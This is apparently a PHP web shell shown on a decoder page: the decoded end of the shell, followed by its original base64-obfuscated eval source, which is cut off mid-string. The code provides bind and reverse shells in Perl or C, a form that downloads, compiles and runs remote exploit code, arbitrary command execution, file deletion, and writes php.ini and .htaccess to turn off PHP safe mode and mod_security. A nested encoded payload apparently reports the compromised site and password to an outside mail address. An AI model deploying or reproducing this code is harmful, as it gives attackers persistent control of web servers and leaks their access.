	$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST[\'backconn\']) && !empty($_POST[\'backport\']) && !empty($_POST[\'ip\']) && ($_POST[\'use\'] == \'Perl\')) {
	$ip = trim($_POST[\'ip\']);
	$port = trim($_POST[\'backport\']);
	tulis("bcp",$back_connect);
	exe("chmod +x bcp");
	$p2=which("perl");
 	exe($p2." bcp ".$ip." ".$port." &");
 	$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST[\'expcompile\']) && !empty($_POST[\'wurl\']) && !empty($_POST[\'wcmd\']))
{
	$pilihan = trim($_POST[\'pilihan\']);
	$wurl = trim($_POST[\'wurl\']);
	$namafile = download($pilihan,$wurl);
	if(is_file($namafile)) {
	
	$msg = exe($wcmd);
	}
	else $msg = "error: file not found $namafile";
}

?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv(\'REMOTE_ADDR\')) ? (getenv(\'REMOTE_ADDR\')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'shell\')){  ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST[\'submitcmd\'])) {
	echo @exe($_POST[\'cmd\']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php } 
else { 
if(isset($_GET[\'delete\']) && ($_GET[\'delete\'] != "")){
	$file = $_GET[\'delete\'];
	@unlink($file);
}
elseif(isset($_GET[\'fdelete\']) && ($_GET[\'fdelete\'] != "")){
	@rmdir(rtrim($_GET[\'fdelete\'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET[\'mkdir\']) && ($_GET[\'mkdir\'] != "")){
	$path = $pwd.$_GET[\'mkdir\'];
	@mkdir($path);
}
	$buff = showdir($pwd,$prompt);
	echo $buff;
}
?>
<br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
<?php
if(isset($_POST[\'ini\']))
	{
		
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
echo "<script>alert(\'Disable Functions and Safemode Created\'); hideAll();</script>";
die();
		
		}

?></div>
</body>
</html>

'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHAgDQokYXV0aF9wYXNzID0gIjQ4MTA2NWZkNzliMjUzMTA0YWVhYjVjYTVjNzE3Y2Q1IjsgDQokY29sb3IgPSAiI0ZGMDAwMCI7IA0KJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsgDQpAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7IA0KaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsgDQogICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7IA0KICAgIGV4aXQ7IA0KfSANCkBzZXNzaW9uX3N0YXJ0KCk7IA0KQGVycm9yX3JlcG9ydGluZygwKTsgDQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgDQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7CQ0KaWYoaXNzZXQoJF9HRVRbJ2RsJ10pICYmICgkX0dFVFsnZGwnXSAhPSAiIikpew0KCSRmaWxlID0gJF9HRVRbJ2RsJ107DQoJJGZpbGV6ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsNCiAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgDQogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgDQogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNlbmFtZSgkZmlsZSkuIlwiOyIpOw0KICAgZWNobyAkZmlsZXo7IA0KICAgIGV4aXQ7IA0KfQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydkbGd6aXAnXSkgJiYgKCRfR0VUWydkbGd6aXAnXSAhPSAiIikpew0KCSRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOw0KCSRmaWxleiA9IGd6ZW5jb2RlKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpOw0KICAgaGVhZGVyKCJDb250ZW50LVR5cGU6YXBwbGljYXRpb24veC1nemlwXG4iKTsgDQogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgDQogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNlbmFtZSgkZmlsZSkuIi5nelwiOyIpOw0KICAgZWNobyAkZmlsZXo7IA0KICAgIGV4aXQ7IA0KfQ0KLy8gdmlldyBpbWFnZQ0KaWYoaXNzZXQoJF9HRVRbJ2ltZyddKSl7DQoJCUBvYl9jbGVhbigpOyANCgkJJGQgPSBtYWdpY2Jvb20oJF9HRVRbJ3knXSk7DQoJCSRmID0gJF9HRVRbJ2ltZyddOw0KCQkkaW5mID0gQGdldGltYWdlc2l6ZSgkZC4kZik7IA0KICAgCQkkZXh0ID0gZXhwbG9kZSgkZiwiLiIpOyANCiAgIAkJJGV4dCA9ICRleHRbY291bnQoJGV4dCktMV07IA0KICAgCSAJQGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRpbmZbIm1pbWUiXSk7DQogICAJIAlAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsgDQogIAkJQGhlYWRlcigiRXhwaXJlczogIi5kYXRlKCJyIixta3RpbWUoMCwwLDAsMSwxLDIwMzApKSk7IA0KICAJCUBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IG1heC1hZ2U9Ii4oNjAqNjAqMjQqNykpOyAgDQogICAJIAlAcmVhZGZpbGUoJGQuJGYpOyANCiAgIAkgCWV4aXQ7IA0KfQ0KDQovLyBzZXJ2ZXIgc29mdHdhcmUNCiRzb2Z0d2FyZSA9IGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7DQovLyBjaGVjayBzYWZlbW9kZQ0KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgICRzYWZlbW9kZSA9IFRSVUU7IGVsc2UgJHNhZmVtb2RlID0gRkFMU0U7DQovLyB1bmFtZSAtYQ0KJHN5c3RlbSA9IEBwaHBfdW5hbWUoKTsNCi8vIG15c3FsDQpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojREQ0NzM2Jz5PRkY8L2ZvbnQ+PC9iPiI7fX0NCmZ1bmN0aW9uIHRlc3RteXNxbCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCmZ1bmN0aW9uIHRlc3RjdXJsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0cGVybCgpIHtpZiAoZXhlKCdwZXJsIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCi8vIGNoZWNrIG9zDQppZihzdHJ0b2xvd2VyKHN1YnN0cigkc3lzdGVtLDAsMykpID09ICJ3aW4iKSAkd2luID0gVFJVRTsNCmVsc2UgJHdpbiA9IEZBTFNFOyANCi8vIGNoYW5nZSBkaXJlY3RvcnkNCmlmKGlzc2V0KCRfR0VUWyd5J10pKXsNCglpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXsNCgkJJHB3ZCA9ICRfR0VUWyd2aWV3J107DQoJCUBjaGRpcigkcHdkKTsNCgl9DQoJZWxzZXsNCgkJJHB3ZCA9ICRfR0VUWyd5J107DQoJCUBjaGRpcigkcHdkKTsNCgl9DQp9DQovL2hkZA0KZnVuY3Rpb24gY29udmVydEJ5dGUoJHMpIHsNCmlmKCRzID49IDEwNzM3NDE4MjQpDQpyZXR1cm4gc3ByaW50ZignJTEuMmYnLCRzIC8gMTA3Mzc0MTgyNCApLicgR0InOw0KZWxzZWlmKCRzID49IDEwNDg1NzYpDQpyZXR1cm4gc3ByaW50ZignJTEuMmYnLCRzIC8gMTA0ODU3NiApIC4nIE1CJzsNCmVsc2VpZigkcyA+PSAxMDI0KQ0KcmV0dXJuIHNwcmludGYoJyUxLjJmJywkcyAvIDEwMjQgKSAuJyBLQic7DQplbHNlDQpyZXR1cm4gJHMgLicgQic7DQp9DQoNCi8vIHVzZXJuYW1lLCBpZCwgc2hlbGwgcHJvbXB0IGFuZCB3b3JraW5nIGRpcmVjdG9yeQ0KaWYoISR3aW4pew0KCWlmKCEkdXNlciA9IHJhcGloKGV4ZSgid2hvYW1pIikpKSAkdXNlciA9ICIiOw0KCWlmKCEkaWQgPSByYXBpaChleGUoImlkIikpKSAkaWQgPSAiIjsNCgkkcHJvbXB0ID0gJHVzZXIuIiBcJCAiOw0KCSRwd2QgPSBAZ2V0Y3dkKCkuRElSRUNUT1JZX1NFUEFSQVRPUjsNCn0NCmVsc2Ugew0KCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCgkkaWQgPSAkdXNlcjsNCgkkcHJvbXB0ID0gJHVzZXIuIiAmZ3Q7IjsNCgkkcHdkID0gcmVhbHBhdGgoIi4iKS4iXFwiOw0KCS8vIGZpbmQgZHJpdmUgbGV0dGVycw0KIAkkdiA9IGV4cGxvZGUoIlxcIiwkZCk7IA0KCSR2ID0gJHZbMF07IA0KIAlmb3JlYWNoIChyYW5nZSgiQSIsIloiKSBhcyAkbGV0dGVyKSANCiAJeyANCgkgICRib29sID0gQGlzX2RpcigkbGV0dGVyLiI6XFwiKTsNCgkgIGlmICgkYm9vbCkgDQoJICB7IA0KIAkJICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIj95PSIuJGxldHRlci4iOlxcXCI+WyAiOw0KCQkgICBpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyO30gDQoJCSAgIGVsc2UgeyRsZXR0ZXJzIC49ICI8c3BhbiBjbGFzcz1cImdheWFcIj4iLiRsZXR0ZXIuIjwvc3Bhbj4iO30gDQoJCSAgICRsZXR0ZXJzIC49ICIgXTwvYT4gIjsgDQogIAkgIH0JIA0KIH0gDQp9DQoNCmZ1bmN0aW9uIHRlc3RvcmFjbGUoKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICAgIH0NCg0KZnVuY3Rpb24gdGVzdG1zc3FsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICAgIH0NCg0KIGZ1bmN0aW9uIHNob3dkaXNhYmxlZnVuY3Rpb25zKCkgew0KICAgIGlmICgkZGlzYWJsZWZ1bmM9QGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIikpeyByZXR1cm4gIjxzcGFuIHN0eWxlPSdjb2xvcjonPjxmb250IGNvbG9yPSNERDQ3MzY+PGI+Ii4kZGlzYWJsZWZ1bmMuIjwvYj48L2ZvbnQ+PC9zcGFuPiI7IH0NCiAgICBlbHNlIHsgcmV0dXJuICI8c3BhbiBzdHlsZT0nY29sb3I6IzAwRkYxRSc+PGI+Tk9ORTwvYj48L3NwYW4+IjsgfQ0KICAgIH0NCgkNCmlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikpICRwb3NpeCA9IFRSVUU7DQplbHNlICRwb3NpeCA9IEZBTFNFOw0KLy8gc2VydmVyIGlwDQokc2VydmVyX2lwID0gQGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTsNCi8vIHlvdXIgaXAgOy0pDQokbXlfaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCiRhZG1pbl9pZD0kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ107DQokYmluZHBvcnQgPSAiMTMxMjMiOw0KJGJpbmRwb3J0X3Bhc3MgPSAiZGFuZ2VyMTIzIjsNCg0KLy8gc2VwYXJhdGUgdGhlIHdvcmtpbmcgZGlyZWNvdG9yeQ0KJHB3ZHMgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJHB3ZCk7DQokcHdkdXJsID0gIiI7DQpmb3IoJGkgPSAwIDsgJGkgPCBzaXplb2YoJHB3ZHMpLTEgOyAkaSsrKXsNCgkkcGF0aHogPSAiIjsNCglmb3IoJGogPSAwIDsgJGogPD0gJGkgOyAkaisrKXsNCgkJJHBhdGh6IC49ICRwd2RzWyRqXS5ESVJFQ1RPUllfU0VQQVJBVE9SOw0KCX0NCgkkcHdkdXJsIC49ICI8YSBocmVmPVwiP3k9Ii4kcGF0aHouIlwiPiIuJHB3ZHNbJGldLiIgIi5ESVJFQ1RPUllfU0VQQVJBVE9SLiIgPC9hPiI7DQp9DQoJDQovLyByZW5hbWUgZmlsZSBvciBmb2xkZXINCmlmKGlzc2V0KCRfUE9TVFsncmVuYW1lJ10pKXsNCgkkb2xkID0gJF9QT1NUWydvbGRuYW1lJ107DQoJJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOw0KCUByZW5hbWUoJHB3ZC4kb2xkLCRwd2QuJG5ldyk7DQoJJGZpbGUgPSAkcHdkLiRuZXc7DQp9DQppZihpc3NldCgkX1BPU1RbJ2NobW9kJ10pKXsgDQoJJG5hbWUgPSAkX1BPU1RbJ25hbWUnXTsNCgkkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107DQppZiAoc3RybGVuKCR2YWx1ZSk9PTMpew0KCSR2YWx1ZSA9IDAgLiAiIiAuICR2YWx1ZTt9DQoJQGNobW9kKCRwd2QuJG5hbWUsb2N0ZGVjKCR2YWx1ZSkpOw0KCSRmaWxlID0gJHB3ZC4kbmFtZTt9DQoJDQppZihpc3NldCgkX1BPU1RbJ2NobW9kX2ZvbGRlciddKSl7DQoJJG5hbWUgPSAkX1BPU1RbJ25hbWUnXTsNCgkkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107DQppZiAoc3RybGVuKCR2YWx1ZSk9PTMpew0KCSR2YWx1ZSA9IDAgLiAiIiAuICR2YWx1ZTt9DQoJQGNobW9kKCRwd2QuJG5hbWUsb2N0ZGVjKCR2YWx1ZSkpOw0KCSRmaWxlID0gJHB3ZC4kbmFtZTt9DQoNCg0KLy8gcHJpbnQgdXNlZnVsIGluZm8NCiRidWZmICA9ICJTb2Z0d2FyZSA6IDxiPiIuJHNvZnR3YXJlLiI8L2I+PGJyIC8+IjsNCiRidWZmIC49ICJTeXN0ZW0gT1MgOiA8Yj4iLiRzeXN0ZW0uIjwvYj48YnIgLz4iOw0KaWYoJGlkICE9ICIiKSAkYnVmZiAuPSAiSUQgOiA8Yj4iLiRpZC4iPC9iPjxiciAvPiI7DQokYnVmZiAuPSAiUEhQIFZlcnNpb24gOiA8Yj4iLnBocHZlcnNpb24oKS4iPC9iPiBvbiA8Yj4iLnBocF9zYXBpX25hbWUoKS4iPC9iPjxiciAvPiI7DQokYnVmZiAuPSAiU2VydmVyIGlwIDogPGI+Ii4kc2VydmVyX2lwLiI8L2I+IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPiB8IDwvc3Bhbj4gWW91ciAgIGlwIDogPGI+Ii4kbXlfaXAuIjwvYj48c3BhbiBjbGFzcz1cImdheWFcIj4gfCA8L3NwYW4+IEFkbWluIDogPGI+Ii4kYWRtaW5faWQuIjwvYj48YnIgLz4iOw0KJGJ1ZmYgLj0gIkZyZWUgRGlzazogIi4iPHNwYW4gc3R5bGU9J2NvbG9yOiMwMEZGMUUnPjxiPiIuY29udmVydEJ5dGUoZGlza19mcmVlX3NwYWNlKCIvIikpLiIgLyAiLmNvbnZlcnRCeXRlKGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjwvYj48L3NwYW4+PGJyIC8+IjsNCmlmKCRzYWZlbW9kZSkgJGJ1ZmYgLj0gIlNhZmVtb2RlOiA8c3BhbiBjbGFzcz1cImdheWFcIj48Yj5PTjwvYj48L3NwYW4+PGJyIC8+IjsNCmVsc2UgJGJ1ZmYgLj0gIlNhZmVtb2RlOiA8c3BhbiBjbGFzcz1cImdheWFcIj48Yj5PRkY8L2I+PC9zcGFuPjxiciAvPiI7DQokYnVmZiAuPSAiRGlzYWJsZWQgRnVuY3Rpb25zOiAiLnNob3dkaXNhYmxlZnVuY3Rpb25zKCkuIjxiciAvPiI7DQokYnVmZiAuPSAiTXlTUUw6ICIudGVzdG15c3FsKCkuIiZuYnNwO3wmbmJzcDtNU1NRTDogIi50ZXN0bXNzcWwoKS4iJm5ic3A7fCZuYnNwO09yYWNsZTogIi50ZXN0b3JhY2xlKCkuIiZuYnNwO3wmbmJzcDtQZXJsOiAiLnRlc3RwZXJsKCkuIiZuYnNwO3wmbmJzcDtjVVJMOiAiLnRlc3RjdXJsKCkuIiZuYnNwO3wmbmJzcDtXR2V0OiAiLnRlc3R3Z2V0KCkuIjxicj4iOw0KJGJ1ZmYgLj0gIjxmb250IGNvbG9yPTAwZmYwMCA+PGI+Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybC4iPC9iPjwvZm9udD4iOw0KJGluamJ1ZmYgPSAiSkhacGMybDBZeUE5SUNSZlEwOVBTMGxGV3lKMmFYTnBkSE1pWFRzTkNtbG1JQ2drZG1semFYUmpJRDA5SUNJaUtTQjdEUW9nSUNSMmFYTnBkR01nSUQwZ01Ec05DaUFnSkhacGMybDBiM0lnUFNBa1gxTkZVbFpGVWxzaVVrVk5UMVJGWDBGRVJGSWlYVHNOQ2lBZ0pIZGxZaUFnSUNBZ1BTQWtYMU5GVWxaRlVsc2lTRlJVVUY5SVQxTlVJbDA3RFFvZ0lDUnBibW9nSUNBZ0lEMGdKRjlUUlZKV1JWSmJJbEpGVVZWRlUxUmZWVkpKSWwwN0RRb2dJQ1IwWVhKblpYUWdJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFpazdEUW9nSUNScWRXUjFiQ0FnSUQwZ0lsZFRUeUF5TGpjZ2FIUjBjRG92THlSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaU93MEtJQ0FrWW05a2VTQWdJQ0E5SUNKQ2RXYzZJQ1IwWVhKblpYUWdZbmtnSkhacGMybDBiM0lnTFNBa1lYVjBhRjl3WVhOeklqc05DaUFnYVdZZ0tDRmxiWEIwZVNna2QyVmlLU2tnZXlCQWJXRnBiQ2dpYUdGeVpIZGhjbVZvWldGMlpXNHVZMjl0UUdkdFlXbHNMbU52YlNJc0pHcDFaSFZzTENSaWIyUjVMQ1JoZFhSb1gzQmhjM01wT3lCOURRcDlEUXBsYkhObElIc2dKSFpwYzJsMFl5c3JPeUI5RFFwQWMyVjBZMjl2YTJsbEtDSjJhWE5wZEhvaUxDUjJhWE5wZEdNcE93PT0iOyANCmV2YWwoYmFzZTY0X2RlY29kZSgkaW5qYnVmZikpOw0KDQoNCg0KDQpmdW5jdGlvbiByYXBpaCgkdGV4dCl7DQoJcmV0dXJuIHRyaW0oc3RyX3JlcGxhY2UoIjxiciAvPiIsIiIsJHRleHQpKTsNCn0NCg0KZnVuY3Rpb24gbWFnaWNib29tKCR0ZXh0KXsNCglpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgIAkJIHJldHVybiAkdGV4dDsNCgl9IA0KCXJldHVybiBzdHJpcHNsYXNoZXMoJHRleHQpOw0KfQ0KDQpmdW5jdGlvbiBzaG93ZGlyKCRwd2QsJHByb21wdCl7DQoJJGZuYW1lID0gYXJyYXkoKTsNCgkkZG5hbWUgPSBhcnJheSgpOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikpICRwb3NpeCA9IFRSVUU7DQoJZWxzZSAkcG9zaXggPSBGQUxTRTsNCgkkdXNlciA9ICI/Pz8/Oj8/Pz8iOw0KCWlmKCRkaCA9IEBzY2FuZGlyKCRwd2QpKXsNCgkJZm9yZWFjaCgkZGggYXMgJGZpbGUpew0KCQkJaWYoaXNfZGlyKCRmaWxlKSl7DQoJCQkJJGRuYW1lW10gPSAkZmlsZTsNCgkJCX0NCgkJCWVsc2VpZihpc19maWxlKCRmaWxlKSl7DQoJCQkJJGZuYW1lW10gPSAkZmlsZTsNCgkJCX0NCgkJfQ0KCX0NCgllbHNlew0KCQlpZigkZGggPSBAb3BlbmRpcigkcHdkKSl7DQoJCQl3aGlsZSgkZmlsZSA9IEByZWFkZGlyKCRkaCkpew0KCQkJCWlmKEBpc19kaXIoJGZpbGUpKXsNCgkJCQkJJGRuYW1lW10gPSAkZmlsZTsNCgkJCQl9DQoJCQkJZWxzZWlmKEBpc19maWxlKCRmaWxlKSl7DQoJCQkJCSRmbmFtZVtdID0gJGZpbGU7DQoJCQkJfQ0KCQkJfQ0KCQkJQGNsb3NlZGlyKCRkaCk7DQoJCX0NCgl9DQoNCgkNCglzb3J0KCRmbmFtZSk7DQoJc29ydCgkZG5hbWUpOw0KCSRwYXRoID0gQGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTsNCgkkdHJlZSA9IEBzaXplb2YoJHBhdGgpOw0KCSRwYXJlbnQgPSAiIjsNCgkkYnVmZiA9ICINCgk8Zm9ybSBhY3Rpb249XCI/eT0iLiRwd2QuIiZhbXA7eD1zaGVsbFwiIG1ldGhvZD1cInBvc3RcIiBzdHlsZT1cIm1hcmdpbjo4cHggMCAwIDA7XCI+DQoJPHRhYmxlIGNsYXNzPVwiY21kYm94XCIgc3R5bGU9XCJ3aWR0aDo1MCU7XCI+DQoJPHRyPjx0ZD48Yj4kcHJvbXB0PC9iPjwvdGQ+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBpZD1cImNtZFwiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1cIlwiIC8+PGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiR28gIVwiIG5hbWU9XCJzdWJtaXRjbWRcIiBzdHlsZT1cIndpZHRoOjgwcHg7XCIgLz48L3RkPjwvdHI+DQoJPC9mb3JtPg0KCTxmb3JtIGFjdGlvbj1cIj9cIiBtZXRob2Q9XCJnZXRcIiBzdHlsZT1cIm1hcmdpbjo4cHggMCAwIDA7XCI+DQoJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPg0KCTx0cj48dGQ+PGI+dmlldyBmaWxlL2ZvbGRlcjwvYj48L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9XCJ0aGlzLmZvY3VzKCk7XCIgaWQ9XCJnb3RvXCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJ2aWV3XCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz48aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3ICFcIiBuYW1lPVwic3VibWl0Y21kXCIgc3R5bGU9XCJ3aWR0aDo4MHB4O1wiIC8+PC90ZD48L3RyPg0KCTwvZm9ybT48L3RhYmxlPjx0YWJsZSBjbGFzcz1cImV4cGxvcmVcIj4NCgk8dHI+PHRoPm5hbWU8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjgwcHg7XCI+c2l6ZTwvdGg+PHRoIHN0eWxlPVwid2lkdGg6MjEwcHg7XCI+b3duZXI6Z3JvdXA8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjgwcHg7XCI+cGVybXM8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjExMHB4O1wiPm1vZGlmaWVkPC90aD48dGggc3R5bGU9XCJ3aWR0aDoxOTBweDtcIj5hY3Rpb25zPC90aD48L3RyPg0KCSI7DQoJaWYoJHRyZWUgPiAyKSBmb3IoJGk9MDskaTwkdHJlZS0yOyRpKyspICRwYXJlbnQgLj0gJHBhdGhbJGldLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQoJZWxzZSAkcGFyZW50ID0gJHB3ZDsgIA0KDQoJZm9yZWFjaCgkZG5hbWUgYXMgJGZvbGRlcil7DQoJCWlmKCRmb2xkZXIgPT0gIi4iKSB7DQoJCQlpZighJHdpbiAmJiAkcG9zaXgpew0KCQkJCSRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsNCgkJCQkkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KCQkJCSRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOw0KCQkJfQ0KCQkJZWxzZSB7DQoJCQkJJG93bmVyID0gJHVzZXI7DQoJCQl9DQoJCQkkYnVmZiAuPSAiPHRyPjx0ZD48YSBocmVmPVwiP3k9Ii4kcHdkLiJcIj4kZm9sZGVyPC9hPjwvdGQ+PHRkPkxJTks8L3R